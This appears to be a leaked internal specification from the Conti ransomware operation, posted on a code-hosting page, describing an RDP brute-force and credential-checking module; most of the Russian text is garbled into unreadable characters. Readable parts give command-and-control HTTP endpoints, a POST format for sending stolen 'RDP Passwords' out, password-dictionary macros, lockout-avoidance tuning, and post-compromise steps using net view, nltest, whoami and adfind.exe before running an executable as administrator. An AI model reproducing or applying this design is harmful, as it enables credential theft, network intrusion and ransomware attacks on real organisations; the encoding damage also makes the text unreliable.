Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

286 lines
14 KiB

  1. ������ RDP �������
  2. ����������� �������
  3. ����
  4. ���������� �������� ������ ������� � ����-����� ������� �� ��������� RDP. ������ ������ ���� �������� � ������������ � ���������, ������������ � ��������� modules_HOWTO.
  5. ����������
  6. ������ ������� �� �������, ��������� �����, � ��������� ����-�����.
  7. � ������� ���� ��� ������:
  8. 1) ����� ����-�����
  9. 2) ����� ��������
  10. � ������ ����-����� ������ �������������� ���� ������� � �������� ������ RDP, ���������� ����� ������������� � ��������� � ��� ������.
  11. ��������� ������ - ������ �������, ���� � �������.
  12. � ������ �������� ������ �������� �� ��� ���������� ������ ������� ��������, ���� � �������. � ���� ������ �����������
  13. ������������ ������, � ����� ��������� � ����������� �������.
  14. � ������ ����-�����:
  15. ������ ������ ������� ������� � ������, ��������� ���������� ����� ������ ������� ��� ������.
  16. ��������� ������ ������� - ��� ������ ������� � ������, ������� ����� ���������� ��� ������ RDP.
  17. �������� ����� �������� �� ���� �����:���� ������� RDP. �������� ������ ��������� - ������ ���� ������������� ������� RDP � ��������� ����.
  18. ������ ����� �������� �� ���� �����:����, ������ ���� ������������� ��� ������� ������, � �������. ��������� ������ ������ ����� - ������ ����������� �������.
  19. � ������ try-brute:
  20. �� ��, ��� brute, �� ������������ ������� ���� �������������.
  21. � ������ NOP (�������� ���) ������ ������ �� ������, ������ ������� ����� ��������.
  22. ���������� ������ ��������� ����:
  23. - ��������� ������� ����, �������� ���� ������������ �������� ��������� ��� �������� ��������� �������
  24. - ����� ��� ����, ����� ����� ���� ��������� ���������, ��� ������������ �� ������� �� ����������.
  25. ������ ��������������� � ����������� �������� ��� ��������� �� ���� ��������, ��������, ������� ��� �������� ���.
  26. �������� ����� ������ ����� HTTP-�������� �� ������
  27. GET /<group>/<clientid>/rdp/mode HTTP/1.1
  28. � ���� HTTP-������ ������ ������� ������ brute, check, trybrute ��� nop.
  29. ����� ������ �������� ����������� - � ����� ������ ������ ������ ��������� �������
  30. ������ 5 �����; �� ��������� ����������� ������ ������ ������ �� ����������.
  31. ��������� ������ �������� ������ � NOP � �� NOP. �������, � �������, brute -> check ����������.
  32. � ���� ������ ������ ��������� � ����� NOP � ���������� �� ������ ��������� �� ������.
  33. � ������ ������ � ������ NOP, ������ ������ 10 ����� ������ ������ ������ � ��������.
  34. ������� �������� ������������� ��������� ����� � NOP ��� ��������� 100% ������ ����� ������ (� ������ � ���� ������ - ����� ���� �������� � ���������� ������).
  35. ������
  36. ������ �������� ������ ������� ��� �������� HTTP-�������� �� ������
  37. GET /<group>/<clientid>/rdp/domains HTTP/1.1
  38. �������� group � clientid - ��� ���� struct ParentInfo
  39. CHAR ParentID[256];
  40. CHAR ParentGroup[64];
  41. (��. module_HOWTO)
  42. � ������ ����� ������ ������:
  43. �����1:����[\r]\n
  44. �����2:����[\r]\n
  45. ...
  46. (���� ��� ��������� �������)
  47. � ������ �������� ������ ������
  48. ip:port@username:password[\r]\n
  49. ...
  50. (���� ��� ��������� �������)
  51. ������ ������������ ������ ������ �� �������, ����� ������ ����������� ����� RDP +-10 ������ �����-����.
  52. �����:���� �������� �� ����� ������� ������ � ��� ������, ���� ������� ����������� � ������ ������ � ���� ������� ����, ��� ��� RDP-����������.
  53. ��� ���������� �������� �� ��������� ������ �� ���� ����� �� ���� �������:
  54. GET /<group>/<clientid>/rdp/over HTTP/1.1
  55. ����� ������� - ����� ��, ��� �� ������ /domains - ����� ������ ������� ��� ������.
  56. ��� ����������� ������ (������ ������, ��� ������ ���) ������ ��������� �� �������� ��� (������������ �����������)
  57. � ������ ��� �� ����� ������ ��� � 10 ����� (����� - � ���������).
  58. ������ ������ ������� �� ������������ ������� ��������. ����� �������� ������ ������ ������� �� �����,
  59. ����� ������ ������� �� ��� GET-������� ��������� HTTP-���������
  60. fmode: 1
  61. ����������� ����� ������������ RDP
  62. ��� �������� ����������, ������ ������ �������� ������ ������������� RDP.
  63. ����� ���� ���������� ����� � ����������� � �����.
  64. ���������������� ����� ����������� ��� ������ ip:port@username.
  65. ���� ��������� ������������� �� ����� ip, �� ������� � ������ ���������:
  66. 147.126.54.43:3900@username1
  67. 147.126.54.43:3900@username2
  68. 147.126.54.43:3900@username3
  69. 147.126.54.43:3900@username4
  70. � �������� �� ���� ����-�������.
  71. ���� RDP
  72. ������� ��� �������� �������� HTTP-�������� � ������������ �������:
  73. GET /<group>/<clientid>/rdp/dict HTTP/1.1
  74. � ����� ��� �������� ������� ���� ��� text/plain, ���� application/gzip (������� �� ��������� ������ Content-Type)
  75. ���� �������� � gzip, �� ����� ���������� �� ������� ����� �� ������ �������, ��� ��� �������� ������:
  76. - ���� ����� �� ������, ����������� ����� ����� ���� \n ��� \r\n.
  77. ������� ������� ������������ ������� ������� (�.�. ����������� ���������� ������ �� �������� ��������� ������).
  78. ������� �������� � ������:
  79. %EmptyPass% // empty password.
  80. %GetHost% // get host name from dns server. Slow speed!
  81. %IP% // get ip (example: 192.168.0.1 = 192.168.0.1)
  82. %Port% // get port (example: 192.168.0.1:3389 = 3389)
  83. � ��� ����� - ����� ������� ��������� �������� ������. ��������� �������� ������ �������� ��������� � ������������ � ������.
  84. ��� ���������� ����� ����� �������� ��������� ����������:
  85. - ����� ������� ������� ������ ���� ����������� ��� ������� ���������� (��. thread_concurrency � STL)
  86. - ������ �� ������ ������ ������������� �������, �.�. ������ ��� ������� ����� ���������� ��������� (��. SetThreadPriority())
  87. - ����� �� ������ ������� � ���� � ��� �� ����� ���������. ������ ����, ����� ���������� ������� �� ����� ���������� �����:����:����,
  88. ����� ����� ������ �� 100 ������� � ���������� �� �� �������, ����� ��� ������ ����� ���������� ����� ��������� �� ���� � ��� �� ����,
  89. � ��� �����
  90. - � �� �� �����, ������ ������ ������ ��� �������� ��� ������� ������ ������ ���� �� ������� �������, ���� �� ��� ������� ������� ������
  91. �� �� ��������� ����� ����� ����
  92. - � �� �� �����, ��� ���� �����������, ��� ����� - ������� �� ��������� ���� � ��� �� ���� ����� ���� ��������, ��� �������� �� ������ � ����
  93. �� �����.
  94. ��� ����������� ����������, ���������, �������� ����� ������� ��� �������� ��� ������ ���� �������� � ���������� ���� config.h � ���� ��������.
  95. ���� ������ ����� �������� ����������������; ������� �� ����� ������� ���������� � ����� ���������.
  96. � ������ ������������ �� ������ � �������� ���������� ������������ ������ ������, � ������� ������� ��������� ������.
  97. � ������ �������� ������������ ��� ������ �� �������� ������, ������� ������������� ��� � ������������� ���.����.
  98. �������� �������� �� ��������� DPOST (��. "�� ���� ������� DPOST" ��� �������� ���������) ��������
  99. POST /<group>/<clientid>/rdp/81 HTTP/1.1
  100. ������ ������������ � ���������� multipart/form-data � ������ source � data.
  101. �������� ���� source - "RDP Passwords"
  102. �������� ���� data: ������� �����, ����������� ����� \r\n
  103. ������ ������:
  104. rdp|<address>:<port>|<username>|<password>|<tag>|<field1=value>|<field2=value>|...\r\n
  105. ...
  106. (���� ��� ��������� �������)
  107. ����� ���� address:port, username, password ������������ � ���������� ������������,
  108. � ���� tag � field1... - � ���������� ����-�������� (��.����).
  109. ���� field1=value ������������ � ���� ����=��������, ��������
  110. ...|subnet=192.168.1.255|netmask=255.255.255.0|���...
  111. ����� ������ ��������� ���������� ������������ ����, �� ������� ����� ������ � �������� �������������.
  112. ������� �������� ����������� ������ ����� �������� � ������������ ������� HTTP-��������
  113. GET /<group>/<clientid>/rdp/freq HTTP/1.1
  114. � ���� ������ �� ������� ����� - ��� ����� ������, �� ���� �������� ������� ���������� ������.
  115. ���� ��� 0 - �������� ����� �� ���������� (��� ������ ����� - ��� ������ ������ ����� ������;
  116. ��� ������ �������� - ��� ������ ��������� ��������� ����� �� ������)
  117. ���� ��� ������������� ����� - �� ����������� ������ � ������ � ���������� ��� � X ������,
  118. ������ ����� ��� �������� ��������.
  119. �������
  120. ������ ������ ���������� ��������� ������� ����� callback (��. "module_HOWTO"):
  121. - RDP scanner build %date% %time% started
  122. - %d addresses tried, %d RDP hosts detected, %d passwords found - ������������ ��� � ������� (������� �������� ���������� � config.h)
  123. - RDP password found: %addr%:%port%:%username%:%password% - ��� ���������� ������
  124. �������
  125. ������� ���������� � ������ ����� ����� Control(). �������� ������� - ��� ������ � ��������� Ctl, ���� ������� - �������� CtlArg,
  126. ����� ������� - CtlArgLen (��. "module_HOWTO")
  127. ������ �������� ������������ ������ � ������ srv, ���������� ������ ������� ������������ �������,
  128. ����������� \r\n ��� \n, � ������� �����:����.
  129. ���� ���� ������, ������ ���� �� HTTP, ���� �������� - HTTPS.
  130. ���� ������ ������� ��������� (http/https), ������� ����� ��������� ��� ��������� ������.
  131. ������ �������� � ��� ����������� ��������, �� �������� ������� ����������� ������, �� ������� �������.
  132. ��������� ���������� � �����
  133. ����� ������������� �������������� ��������� ���������� � �����, ��� � ������ ����� ����� ������� ������,
  134. ��� � � ������ ��������.
  135. �� ������ ����������� ������, ���� ������������� ����������, ���������� �������, ����� �����������,
  136. ������������ �������.
  137. <��������>
  138. //��������� CMD, ������ �������: 1 - net view, ���� �����
  139. //� ��������� ������, ������ ���� ���������� ��� no network, ���� ����� � �������
  140. //�����������, �� �������� ������� 2 - net group "Domain Computers" /DOMAIN,
  141. //���� ����� � ��������� ������, ������ ���� ���������� ��� not in domain,
  142. //���� ������������� �����, �� �������� ������� 3 - nltest /domain_trusts /all_trusts,
  143. //���� ���� ���� � ��������, �� ����������� https://www.sendspace.com/file/172iky,
  144. //���������������, ����������� ���� � �������� .bat, bp ������������ ���������
  145. //� ��� �� ����� ������� ���� subnet, �������� � ���� ����������, � ���������
  146. //� ����������� ����� �����, ��� ���� ���� ���� ���������� ��� in domain.
  147. //��� ��� ������� � �������������� ���������� ������� ���������� � ����������� ����� ��� �������� ������ �� DPOST.
  148. </��������>
  149. ����� ���� ������ ���������� ���������, ��� ��������� - ���� ��� ����������� � ���������:
  150. 1) ����������� ������ ip:port@username:password ��������� � ���������� �����
  151. 2) ���� ������������� ����������.
  152. ��, � �������� �� ���� ���������� ���������� ���������� ������� (������ ������ ��� ������ ������ � off).
  153. ���� ������ ������ ��� �������, �� ������� ������ ��� ��� ������������, �� ������� � ������ BAD RDP.
  154. ���� ������ ������ ��������� � off, �� ������� � ������ OFF RDP.
  155. ���� ������� ����������, ���������� �������, ����� �����������, ������������ �������, ��� ����������, ������ � ������ ONLINE RDP.
  156. ������ ONLINE RDP ������� �� ��� ������� IN DOMAIN � NOT DOMAIN
  157. � ������� IN DOMAIN ���� ����� ������: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
  158. 3) � cmd ������ ������� whoami/upn.
  159. ���� ����� "��� ������������"/"�����" - �� ��� �������� � ������� ON DOMAIN. "�����" ���������� � ������ domainlist
  160. ���� ����� error, �� ��� ����������� � ������� NOT DOMAIN
  161. 4) ����� ��� � ������� ON DOMAIN � ���� ��������� ����� adf.bat, adfind.exe � XXX.exe � ������, ����� �������������
  162. 5) ��������� ���� adf.bat.
  163. ��������� ��������� ����� � �������: subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp, domainlist
  164. �� ��������� ������ subnets, ad_users, ad_computers, ad_ous, ad_group, trustdmp ����� ��������� ������ � ����������� �������� (Objects returned) � ���������� �� ������������ �� ������������ "��� txt �����=��� ������"
  165. �� txt ����� domainlist ��� ������ ���������� � ������ domainlist
  166. 6) ��������� XXX.exe �� ����� ��������������.
  167. ���� �� ������������ ���� �� ����� ��������������, �� ��������� ������� �������.
  168. � ������� ���������� �� ����� ���� ������� XXX.exe
  169. ���� ���� �� �������� ��������� �� ������� ������������ ��� �� ����� ��� ������ ��� ���������� �� ������ XXX.exe, �� ��� ��� ���������� ������������ � �������
  170. 7) ����� ������� ��� � ������� NOT DOMAIN
  171. ����������� ����� � ������ XXX.exe, ���������������
  172. ��������� XXX.exe �� ����� ��������������
  173. ���� �� ������������ ���� �� ����� ��������������, �� ��������� ������� �������.
  174. � ������� ���������� �� ����� ���� ������� XXX.exe
  175. ���� ���� �� �������� ��������� �� ������� ������������ ��� �� ����� ��� ������ ��� ���������� �� ������ XXX.exe, �� ��� ��� ���������� ������������ � �������
  176. �� ����, �� ��������� ������� (����� �������� � ��, ����� ����� ������� �� ���� - ������� adfind), ����������� ������,
  177. � ����������� ���� tag (�� �� ������ ������ 4: bad rdp, off rdp, online rdp in domain, online rdp not in domain) � ���.����,
  178. ���������� �� ����������� ������.
  179. � ������ ����� - ��� ������� ������������ ������.
  180. � ������ �������� - ��� ������� ����� �� ������ ������������.
  181. ����������
  182. ������� ����������� ������ "module_HOWTO" � ����������� ��������� � ��������� ��� ����������� �� ������������� ���������,
  183. ��������, ����� �� ���������� �����, ��������� �������, �����������, ������� ������ ���.
  184. ��������� ������������
  185. ���� � ��� �� ������ ����� �������������� � ��� .dll, � ��� ������������� ���� � GUI.
  186. ��� ���� ��� ������ ������ ���� �������� ������ rdp.dll, � ��������� ������ ���� ������� (���������) ����������,
  187. ������������ ������� rdp.dll.
  188. ���������, ��� rpp.dll - ��� ������, �������������� 4 ������� Start, Control, FreeBuffer, Release, � ��� ��������������
  189. � ������� ����� ���������� ������ ����� ���.
  190. ��������������, ������� ������ �������� ����� ������ Control, ���������, �������, ������ ��� ������������
  191. ������ �������� � HTTP-������� (������� ����� ������������ � GUI);
  192. GUI �������� �������� ����� �� ������ (��������� � ��������) - ����� ������ callback (��.�������� ������� Start).
  193. � GUI ������ ���� �������������:
  194. - ������� ������� �������
  195. - ������������ ������ (check/brute)
  196. - ����� � ���� ������ � ������� ������.
  197. �������� ��� ��������������� ����� (���������� ��������� � ����������� ����� ��������� ������ - �� ����� ���������� ������ ���� �������������),
  198. ��� � ������� - ��� �������� ��� WinAPI, ��� � QT. ��������� ����� �������� �� C# ��� �������� ����������.
  199. ������������ �������������� GUI � ������� ����� ���:
  200. - ������ ����� ������������ ������� - 127.0.0.1:���� GUI
  201. - ��������� ����������� ������ � GUI, ������� ����� �������� �� ������� �������� � ��������� ��������� ������
  202. - ������ � ������ ����� ������ callback, ��� ��������� ������� �� ������
  203. - ����� ���� ���� ������������ � ��� �������� �� ����������� � �������, ������� ����� �������� ������
  204. - ������� ������ ������������� ����� ������� Start(); �� ����� ������ ������ ������������� ��� ��������� GUI, ����� ������ ����
  205. - ������������ ����������� ������ �� ������� (bad rdp, off rdp ���) ����� �� ��������� ���� tag.